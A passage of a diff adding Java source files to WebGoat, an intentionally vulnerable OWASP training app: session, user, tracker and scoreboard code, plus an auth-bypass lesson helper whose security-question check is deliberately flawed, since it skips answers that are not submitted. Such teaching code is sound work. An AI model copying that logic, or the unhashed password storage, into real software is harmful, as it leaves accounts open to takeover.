+import org.springframework.web.bind.annotation.ResponseStatus;
+
+import java.util.List;
+import java.util.function.Function;
+
+@Controller
+@AllArgsConstructor
+@Slf4j
+public class RestartLessonService {
+
+    private final WebSession webSession;
+    private final UserTrackerRepository userTrackerRepository;
+    private final Function<String, Flyway> flywayLessons;
+    private final List<Initializeable> lessonsToInitialize;
+
+    @RequestMapping(path = "/service/restartlesson.mvc", produces = "text/text")
+    @ResponseStatus(value = HttpStatus.OK)
+    public void restartLesson() {
+        Lesson al = webSession.getCurrentLesson();
+        log.debug("Restarting lesson: " + al);
+
+        UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        userTracker.reset(al);
+        userTrackerRepository.save(userTracker);
+
+        var flyway = flywayLessons.apply(webSession.getUserName());
+        flyway.clean();
+        flyway.migrate();
+
+        lessonsToInitialize.forEach(i -> i.initialize(webSession.getUser()));
+    }
+}

src/main/java/org/owasp/webgoat/container/service/SessionService.java

@@ -0,0 +1,33 @@
+/*
+ * To change this license header, choose License Headers in Project Properties.
+ * To change this template file, choose Tools | Templates
+ * and open the template in the editor.
+ */
+
+package org.owasp.webgoat.container.service;
+
+import lombok.RequiredArgsConstructor;
+import org.owasp.webgoat.container.i18n.Messages;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+@Controller
+@RequiredArgsConstructor
+public class SessionService {
+
+    private final WebSession webSession;
+    private final RestartLessonService restartLessonService;
+    private final Messages messages;
+
+    @RequestMapping(path = "/service/enable-security.mvc", produces = "application/json")
+    @ResponseBody
+    public String applySecurity() {
+        webSession.toggleSecurity();
+        restartLessonService.restartLesson();
+
+        var msg = webSession.isSecurityEnabled() ? "security.enabled" : "security.disabled";
+        return messages.getMessage(msg);
+    }
+}

src/main/java/org/owasp/webgoat/container/session/Course.java

@@ -0,0 +1,98 @@
+package org.owasp.webgoat.container.session;
+
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.lessons.Category;
+import org.owasp.webgoat.container.lessons.Lesson;
+
+import java.util.List;
+
+/**
+ * ************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ *
+ * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+@Slf4j
+public class Course {
+
+    private List<Lesson> lessons;
+
+    public Course(List<Lesson> lessons) {
+        this.lessons = lessons;
+    }
+
+    /**
+     * Gets the categories attribute of the Course object
+     *
+     * @return The categories value
+     */
+    public List<Category> getCategories() {
+        return lessons.parallelStream().map(Lesson::getCategory).distinct().sorted().toList();
+    }
+
+    /**
+     * Gets the firstLesson attribute of the Course object
+     *
+     * @return The firstLesson value
+     */
+    public Lesson getFirstLesson() {
+        // Category 0 is the admin function. We want the first real category
+        // to be returned. This is normally the General category and the Http Basics lesson
+        return getLessons(getCategories().get(0)).get(0);
+    }
+
+    /**
+     * <p>Getter for the field <code>lessons</code>.</p>
+     *
+     * @return a {@link java.util.List} object.
+     */
+    public List<Lesson> getLessons() {
+        return this.lessons;
+    }
+
+    /**
+     * <p>Getter for the field <code>lessons</code>.</p>
+     *
+     * @param category a {@link org.owasp.webgoat.container.lessons.Category} object.
+     * @return a {@link java.util.List} object.
+     */
+    public List<Lesson> getLessons(Category category) {
+        return this.lessons.stream().filter(l -> l.getCategory() == category).toList();
+    }
+
+    public void setLessons(List<Lesson> lessons) {
+        this.lessons = lessons;
+    }
+
+    public int getTotalOfLessons() {
+        return this.lessons.size();
+    }
+
+    public int getTotalOfAssignments() {
+        return this.lessons.stream().reduce(0, (total, lesson) -> lesson.getAssignments().size() + total, Integer::sum);
+    }
+}

src/main/java/org/owasp/webgoat/container/session/LabelDebugger.java

@@ -0,0 +1,46 @@
+package org.owasp.webgoat.container.session;
+
+import java.io.Serializable;
+
+/**
+ * <p>LabelDebugger class.</p>
+ *
+ * @author dm
+ * @version $Id: $Id
+ */
+public class LabelDebugger implements Serializable {
+
+    private boolean enabled = false;
+
+    /**
+     * <p>isEnabled.</p>
+     *
+     * @return a boolean.
+     */
+    public boolean isEnabled() {
+        return enabled;
+    }
+
+    /**
+     * <p>Enables label debugging</p>
+     */
+    public void enable() {
+        this.enabled = true;
+    }
+
+    /**
+     * <p>Disables label debugging</p>
+     */
+    public void disable() {
+        this.enabled = false;
+    }
+
+    /**
+     * <p>Sets the status to enabled</p>
+     * @param enabled {@link org.owasp.webgoat.container.session.LabelDebugger} object
+     */
+    public void setEnabled(boolean enabled)  {
+        this.enabled = enabled;
+    }
+
+}

src/main/java/org/owasp/webgoat/container/session/UserSessionData.java

@@ -0,0 +1,36 @@
+package org.owasp.webgoat.container.session;
+
+import java.util.HashMap;
+
+/**
+ * Created by jason on 1/4/17.
+ */
+public class UserSessionData {
+
+    private HashMap<String,Object> userSessionData = new HashMap<>();
+
+    public UserSessionData() {
+    }
+
+    public UserSessionData(String key, String value) {
+        setValue(key,value);
+    }
+
+    //GETTERS & SETTERS
+    public Object getValue(String key) {
+        if (!userSessionData.containsKey(key)) {
+            return null;
+        }
+        // else
+        return userSessionData.get(key);
+    }
+
+    public void setValue(String key, Object value) {
+        if (userSessionData.containsKey(key)) {
+            userSessionData.replace(key,value);
+        } else {
+            userSessionData.put(key,value);
+        }
+    }
+
+}

src/main/java/org/owasp/webgoat/container/session/WebSession.java

@@ -0,0 +1,87 @@
+package org.owasp.webgoat.container.session;
+
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.users.WebGoatUser;
+import org.springframework.security.core.context.SecurityContextHolder;
+
+import java.io.Serializable;
+
+/**
+ * *************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see
+ * http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public
+ * License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if not, write to the Free
+ * Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ *
+ * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
+ * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
+ * @version $Id: $Id
+ * @since October 28, 2003
+ */
+public class WebSession implements Serializable {
+
+    private static final long serialVersionUID = -4270066103101711560L;
+    private final WebGoatUser currentUser;
+    private transient Lesson currentLesson;
+    private boolean securityEnabled;
+
+    public WebSession() {
+        this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
+    }
+
+    /**
+     * <p> Setter for the field <code>currentScreen</code>. </p>
+     *
+     * @param lesson current lesson
+     */
+    public void setCurrentLesson(Lesson lesson) {
+        this.currentLesson = lesson;
+    }
+
+    /**
+     * <p> getCurrentLesson. </p>
+     *
+     * @return a {@link Lesson} object.
+     */
+    public Lesson getCurrentLesson() {
+        return this.currentLesson;
+    }
+
+    /**
+     * Gets the userName attribute of the WebSession object
+     *
+     * @return The userName value
+     */
+    public String getUserName() {
+        return currentUser.getUsername();
+    }
+
+    public WebGoatUser getUser() {
+        return currentUser;
+    }
+
+    public void toggleSecurity() {
+        this.securityEnabled = !this.securityEnabled;
+    }
+
+    public boolean isSecurityEnabled() {
+        return securityEnabled;
+    }
+}

src/main/java/org/owasp/webgoat/container/users/LessonTracker.java

@@ -0,0 +1,114 @@
+
+package org.owasp.webgoat.container.users;
+
+import lombok.Getter;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Assignment;
+
+import javax.persistence.*;
+import java.util.*;
+import java.util.stream.Collectors;
+
+
+/**
+ * ************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ *
+ * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
+ * @version $Id: $Id
+ * @since October 29, 2003
+ */
+@Entity
+public class LessonTracker {
+
+    @Id
+    @GeneratedValue(strategy = GenerationType.AUTO)
+    private Long id;
+    @Getter
+    private String lessonName;
+    @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
+    private final Set<Assignment> solvedAssignments = new HashSet<>();
+    @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
+    private final Set<Assignment> allAssignments = new HashSet<>();
+    @Getter
+    private int numberOfAttempts = 0;
+    @Version
+    private Integer version;
+
+    private LessonTracker() {
+        //JPA
+    }
+
+    public LessonTracker(Lesson lesson) {
+        lessonName = lesson.getId();
+        allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments());
+    }
+
+    public Optional<Assignment> getAssignment(String name) {
+        return allAssignments.stream().filter(a -> a.getName().equals(name)).findFirst();
+    }
+
+    /**
+     * Mark an assignment as solved
+     *
+     * @param solvedAssignment the assignment which the user solved
+     */
+    public void assignmentSolved(String solvedAssignment) {
+        getAssignment(solvedAssignment).ifPresent(solvedAssignments::add);
+    }
+
+    /**
+     * @return did they user solved all solvedAssignments for the lesson?
+     */
+    public boolean isLessonSolved() {
+        return allAssignments.size() == solvedAssignments.size();
+    }
+
+    /**
+     * Increase the number attempts to solve the lesson
+     */
+    public void incrementAttempts() {
+        numberOfAttempts++;
+    }
+
+    /**
+     * Reset the tracker. We do not reset the number of attempts here!
+     */
+    void reset() {
+        solvedAssignments.clear();
+    }
+
+    /**
+     * @return list containing all the assignments solved or not
+     */
+    public Map<Assignment, Boolean> getLessonOverview() {
+        List<Assignment> notSolved = allAssignments.stream()
+                .filter(i -> !solvedAssignments.contains(i))
+                .toList();
+        Map<Assignment, Boolean> overview = notSolved.stream().collect(Collectors.toMap(a -> a, b -> false));
+        overview.putAll(solvedAssignments.stream().collect(Collectors.toMap(a -> a, b -> true)));
+        return overview;
+    }
+}

src/main/java/org/owasp/webgoat/container/users/RegistrationController.java

@@ -0,0 +1,46 @@
+package org.owasp.webgoat.container.users;
+
+import lombok.AllArgsConstructor;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.security.authentication.AuthenticationManager;
+import org.springframework.stereotype.Controller;
+import org.springframework.validation.BindingResult;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.ModelAttribute;
+import org.springframework.web.bind.annotation.PostMapping;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import javax.validation.Valid;
+
+/**
+ * @author nbaars
+ * @since 3/19/17.
+ */
+@Controller
+@AllArgsConstructor
+@Slf4j
+public class RegistrationController {
+
+    private UserValidator userValidator;
+    private UserService userService;
+    private AuthenticationManager authenticationManager;
+
+    @GetMapping("/registration")
+    public String showForm(UserForm userForm) {
+        return "registration";
+    }
+
+    @PostMapping("/register.mvc")
+    public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) throws ServletException {
+        userValidator.validate(userForm, bindingResult);
+
+        if (bindingResult.hasErrors()) {
+            return "registration";
+        }
+        userService.addUser(userForm.getUsername(), userForm.getPassword());
+        request.login(userForm.getUsername(), userForm.getPassword());
+
+        return "redirect:/attack";
+    }
+}

src/main/java/org/owasp/webgoat/container/users/Scoreboard.java

@@ -0,0 +1,73 @@
+package org.owasp.webgoat.container.users;
+
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+import org.owasp.webgoat.container.i18n.PluginMessages;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.session.Course;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Optional;
+
+/**
+ * Temp endpoint just for the CTF.
+ *
+ * @author nbaars
+ * @since 3/23/17.
+ */
+@RestController
+@AllArgsConstructor
+public class Scoreboard {
+
+    private final UserTrackerRepository userTrackerRepository;
+    private final UserRepository userRepository;
+    private final Course course;
+    private final PluginMessages pluginMessages;
+
+    @AllArgsConstructor
+    @Getter
+    private class Ranking {
+        private String username;
+        private List<String> flagsCaptured;
+    }
+
+    @GetMapping("/scoreboard-data")
+    public List<Ranking> getRankings() {
+        List<WebGoatUser> allUsers = userRepository.findAll();
+        List<Ranking> rankings = new ArrayList<>();
+        for (WebGoatUser user : allUsers) {
+            if (user.getUsername().startsWith("csrf-")) {
+                //the csrf- assignment specific users do not need to be in the overview
+                continue;
+            }
+            UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
+            rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
+        }
+        /* sort on number of captured flags to present an ordered ranking */
+        rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
+        return rankings;
+    }
+
+    private List<String> challengesSolved(UserTracker userTracker) {
+        List<String> challenges = List.of("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
+        return challenges.stream()
+                .map(userTracker::getLessonTracker)
+                .flatMap(Optional::stream)
+                .filter(LessonTracker::isLessonSolved)
+                .map(LessonTracker::getLessonName)
+                .map(this::toLessonTitle)
+                .toList();
+    }
+
+    private String toLessonTitle(String id) {
+        String titleKey = course.getLessons().stream()
+                .filter(l -> l.getId().equals(id))
+                .findFirst()
+                .map(Lesson::getTitle)
+                .orElse("No title");
+        return pluginMessages.getMessage(titleKey, titleKey);
+    }
+}

src/main/java/org/owasp/webgoat/container/users/UserForm.java

@@ -0,0 +1,30 @@
+package org.owasp.webgoat.container.users;
+
+import lombok.Getter;
+import lombok.Setter;
+
+import javax.validation.constraints.NotNull;
+import javax.validation.constraints.Pattern;
+import javax.validation.constraints.Size;
+
+/**
+ * @author nbaars
+ * @since 3/19/17.
+ */
+@Getter
+@Setter
+public class UserForm {
+
+    @NotNull
+    @Size(min = 6, max = 45)
+    @Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -")
+    private String username;
+    @NotNull
+    @Size(min = 6, max = 10)
+    private String password;
+    @NotNull
+    @Size(min = 6, max = 10)
+    private String matchingPassword;
+    @NotNull
+    private String agree;
+}

src/main/java/org/owasp/webgoat/container/users/UserRepository.java

@@ -0,0 +1,19 @@
+package org.owasp.webgoat.container.users;
+
+import org.springframework.data.jpa.repository.JpaRepository;
+
+import java.util.List;
+
+/**
+ * @author nbaars
+ * @since 3/19/17.
+ */
+public interface UserRepository extends JpaRepository<WebGoatUser, String> {
+
+    WebGoatUser findByUsername(String username);
+
+    List<WebGoatUser> findAll();
+
+    boolean existsByUsername(String username);
+
+}

src/main/java/org/owasp/webgoat/container/users/UserService.java

@@ -0,0 +1,60 @@
+package org.owasp.webgoat.container.users;
+
+import lombok.AllArgsConstructor;
+import org.flywaydb.core.Flyway;
+import org.owasp.webgoat.container.lessons.Initializeable;
+import org.springframework.jdbc.core.JdbcTemplate;
+import org.springframework.security.core.userdetails.UserDetailsService;
+import org.springframework.security.core.userdetails.UsernameNotFoundException;
+import org.springframework.stereotype.Service;
+
+import java.util.List;
+import java.util.function.Function;
+
+/**
+ * @author nbaars
+ * @since 3/19/17.
+ */
+@Service
+@AllArgsConstructor
+public class UserService implements UserDetailsService {
+
+    private final UserRepository userRepository;
+    private final UserTrackerRepository userTrackerRepository;
+    private final JdbcTemplate jdbcTemplate;
+    private final Function<String, Flyway> flywayLessons;
+    private final List<Initializeable> lessonInitializables;
+
+    @Override
+    public WebGoatUser loadUserByUsername(String username) throws UsernameNotFoundException {
+        WebGoatUser webGoatUser = userRepository.findByUsername(username);
+        if (webGoatUser == null) {
+            throw new UsernameNotFoundException("User not found");
+        } else {
+            webGoatUser.createUser();
+            lessonInitializables.forEach(l -> l.initialize(webGoatUser));
+        }
+        return webGoatUser;
+    }
+
+    public void addUser(String username, String password) {
+        //get user if there exists one by the name
+        var userAlreadyExists = userRepository.existsByUsername(username);
+        var webGoatUser = userRepository.save(new WebGoatUser(username, password));
+
+        if (!userAlreadyExists) {
+            userTrackerRepository.save(new UserTracker(username)); //if user previously existed it will not get another tracker
+            createLessonsForUser(webGoatUser);
+        }
+    }
+
+    private void createLessonsForUser(WebGoatUser webGoatUser) {
+        jdbcTemplate.execute("CREATE SCHEMA \"" + webGoatUser.getUsername() + "\" authorization dba");
+        flywayLessons.apply(webGoatUser.getUsername()).migrate();
+    }
+
+    public List<WebGoatUser> getAllUsers() {
+        return userRepository.findAll();
+    }
+
+}

src/main/java/org/owasp/webgoat/container/users/UserSession.java

@@ -0,0 +1,21 @@
+package org.owasp.webgoat.container.users;
+
+import lombok.AccessLevel;
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+import lombok.NoArgsConstructor;
+import org.springframework.data.annotation.Id;
+
+/**
+ * @author nbaars
+ * @since 8/15/17.
+ */
+@Getter
+@AllArgsConstructor
+@NoArgsConstructor(access = AccessLevel.PROTECTED)
+public class UserSession {
+
+    private WebGoatUser webGoatUser;
+    @Id
+    private String sessionId;
+}

src/main/java/org/owasp/webgoat/container/users/UserTracker.java

@@ -0,0 +1,126 @@
+
+package org.owasp.webgoat.container.users;
+
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.owasp.webgoat.container.lessons.Assignment;
+
+import javax.persistence.*;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+
+/**
+ * ************************************************************************************************
+ * <p>
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ *
+ * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
+ * @version $Id: $Id
+ * @since October 29, 2003
+ */
+@Slf4j
+@Entity
+public class UserTracker {
+
+    @Id
+    @GeneratedValue(strategy = GenerationType.AUTO)
+    private Long id;
+    @Column(name = "username")
+    private String user;
+    @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
+    private Set<LessonTracker> lessonTrackers = new HashSet<>();
+
+    private UserTracker() {}
+
+    public UserTracker(final String user) {
+        this.user = user;
+    }
+
+    /**
+     * Returns an existing lesson tracker or create a new one based on the lesson
+     *
+     * @param lesson the lesson
+     * @return a lesson tracker created if not already present
+     */
+    public LessonTracker getLessonTracker(Lesson lesson) {
+        Optional<LessonTracker> lessonTracker = lessonTrackers
+                .stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst();
+        if (!lessonTracker.isPresent()) {
+            LessonTracker newLessonTracker = new LessonTracker(lesson);
+            lessonTrackers.add(newLessonTracker);
+            return newLessonTracker;
+        } else {
+            return lessonTracker.get();
+        }
+    }
+
+    /**
+     * Query method for finding a specific lesson tracker based on id
+     *
+     * @param id the id of the lesson
+     * @return optional due to the fact we can only create a lesson tracker based on a lesson
+     */
+    public Optional<LessonTracker> getLessonTracker(String id) {
+        return lessonTrackers.stream().filter(l -> l.getLessonName().equals(id)).findFirst();
+    }
+
+    public void assignmentSolved(Lesson lesson, String assignmentName) {
+        LessonTracker lessonTracker = getLessonTracker(lesson);
+        lessonTracker.incrementAttempts();
+        lessonTracker.assignmentSolved(assignmentName);
+    }
+
+    public void assignmentFailed(Lesson lesson) {
+        LessonTracker lessonTracker = getLessonTracker(lesson);
+        lessonTracker.incrementAttempts();
+    }
+
+    public void reset(Lesson al) {
+        LessonTracker lessonTracker = getLessonTracker(al);
+        lessonTracker.reset();
+    }
+
+    public int numberOfLessonsSolved() {
+        int numberOfLessonsSolved = 0;
+        for (LessonTracker lessonTracker : lessonTrackers) {
+            if (lessonTracker.isLessonSolved()) {
+                numberOfLessonsSolved = numberOfLessonsSolved + 1;
+            }
+        }
+        return numberOfLessonsSolved;
+    }
+
+    public int numberOfAssignmentsSolved() {
+        int numberOfAssignmentsSolved = 0;
+        for (LessonTracker lessonTracker : lessonTrackers) {
+            Map<Assignment, Boolean> lessonOverview = lessonTracker.getLessonOverview();
+            numberOfAssignmentsSolved = lessonOverview.values().stream().filter(b -> b).collect(Collectors.counting()).intValue();
+        }
+        return numberOfAssignmentsSolved;
+    }
+}

src/main/java/org/owasp/webgoat/container/users/UserTrackerRepository.java

@@ -0,0 +1,13 @@
+package org.owasp.webgoat.container.users;
+
+import org.springframework.data.jpa.repository.JpaRepository;
+
+/**
+ * @author nbaars
+ * @since 4/30/17.
+ */
+public interface UserTrackerRepository extends JpaRepository<UserTracker, String> {
+
+    UserTracker findByUser(String user);
+
+}

src/main/java/org/owasp/webgoat/container/users/UserValidator.java

@@ -0,0 +1,35 @@
+package org.owasp.webgoat.container.users;
+
+import lombok.AllArgsConstructor;
+import org.springframework.stereotype.Component;
+import org.springframework.validation.Errors;
+import org.springframework.validation.Validator;
+
+/**
+ * @author nbaars
+ * @since 3/19/17.
+ */
+@Component
+@AllArgsConstructor
+public class UserValidator implements Validator {
+
+    private final UserRepository userRepository;
+
+    @Override
+    public boolean supports(Class<?> clazz) {
+        return UserForm.class.equals(clazz);
+    }
+
+    @Override
+    public void validate(Object o, Errors errors) {
+        UserForm userForm = (UserForm) o;
+
+        if (userRepository.findByUsername(userForm.getUsername()) != null) {
+            errors.rejectValue("username", "username.duplicate");
+        }
+
+        if (!userForm.getMatchingPassword().equals(userForm.getPassword())) {
+            errors.rejectValue("matchingPassword", "password.diff");
+        }
+    }
+}

src/main/java/org/owasp/webgoat/container/users/WebGoatUser.java

@@ -0,0 +1,98 @@
+package org.owasp.webgoat.container.users;
+
+import lombok.Getter;
+import org.springframework.security.core.GrantedAuthority;
+import org.springframework.security.core.authority.SimpleGrantedAuthority;
+import org.springframework.security.core.userdetails.User;
+import org.springframework.security.core.userdetails.UserDetails;
+
+import javax.persistence.Entity;
+import javax.persistence.Id;
+import javax.persistence.Transient;
+import java.util.Collection;
+import java.util.Collections;
+
+/**
+ * @author nbaars
+ * @since 3/19/17.
+ */
+@Getter
+@Entity
+public class WebGoatUser implements UserDetails {
+
+    public static final String ROLE_USER = "WEBGOAT_USER";
+    public static final String ROLE_ADMIN = "WEBGOAT_ADMIN";
+
+    @Id
+    private String username;
+    private String password;
+    private String role = ROLE_USER;
+    @Transient
+    private User user;
+
+    protected WebGoatUser() {
+    }
+
+    public WebGoatUser(String username, String password) {
+        this(username, password, ROLE_USER);
+    }
+
+    public WebGoatUser(String username, String password, String role) {
+        this.username = username;
+        this.password = password;
+        this.role = role;
+        createUser();
+    }
+
+
+    public void createUser() {
+        this.user = new User(username, password, getAuthorities());
+    }
+
+    public Collection<? extends GrantedAuthority> getAuthorities() {
+        return Collections.singleton(new SimpleGrantedAuthority(getRole()));
+    }
+
+    public String getRole() {
+        return this.role;
+    }
+
+    public String getUsername() {
+        return this.username;
+    }
+
+    public String getPassword() {
+        return this.password;
+    }
+
+    @Override
+    public boolean isAccountNonExpired() {
+        return this.user.isAccountNonExpired();
+    }
+
+    @Override
+    public boolean isAccountNonLocked() {
+        return this.user.isAccountNonLocked();
+    }
+
+    @Override
+    public boolean isCredentialsNonExpired() {
+        return this.user.isCredentialsNonExpired();
+    }
+
+    @Override
+    public boolean isEnabled() {
+        return this.user.isEnabled();
+    }
+
+    public boolean equals(Object obj) {
+        return obj instanceof WebGoatUser webGoatUser && this.user.equals(webGoatUser.user);
+    }
+
+    public int hashCode() {
+        return user.hashCode();
+    }
+
+}
+
+

src/main/java/org/owasp/webgoat/lessons/auth_bypass/AccountVerificationHelper.java

@@ -0,0 +1,87 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.auth_bypass;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Created by appsec on 7/18/17.
+ */
+public class AccountVerificationHelper {
+
+    //simulating database storage of verification credentials
+    private static final Integer verifyUserId = 1223445;
+    private static final Map<String, String> userSecQuestions = new HashMap<>();
+
+    static {
+        userSecQuestions.put("secQuestion0", "Dr. Watson");
+        userSecQuestions.put("secQuestion1", "Baker Street");
+    }
+
+    private static final Map<Integer, Map> secQuestionStore = new HashMap<>();
+
+    static {
+        secQuestionStore.put(verifyUserId, userSecQuestions);
+    }
+    // end 'data store set up'
+
+    // this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
+    public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
+        boolean likely = false;
+
+        if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
+            likely = true;
+        }
+
+        if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")))
+                && (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) {
+            likely = true;
+        } else {
+            likely = false;
+        }
+
+        return likely;
+
+    }
+    //end of cheating check ... the method below is the one of real interest. Can you find the flaw?
+
+    public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
+        //short circuit if no questions are submitted
+        if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
+            return false;
+        }
+
+        if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) {
+            return false;
+        }
+
+        if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
+            return false;
+        }
+
+        // else
+        return true;
+
+    }
+}

src/main/java/org/owasp/webgoat/lessons/auth_bypass/AuthBypass.java

@@ -0,0 +1,41 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
